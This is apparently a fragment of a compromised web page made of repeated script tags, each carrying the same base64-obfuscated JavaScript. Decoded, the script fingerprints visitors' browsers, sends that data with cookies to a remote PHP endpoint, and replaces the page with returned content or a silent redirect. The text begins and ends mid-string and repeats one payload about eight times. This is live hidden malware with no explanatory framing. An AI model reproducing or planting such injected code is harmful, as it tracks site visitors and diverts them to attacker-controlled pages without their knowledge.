bmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaC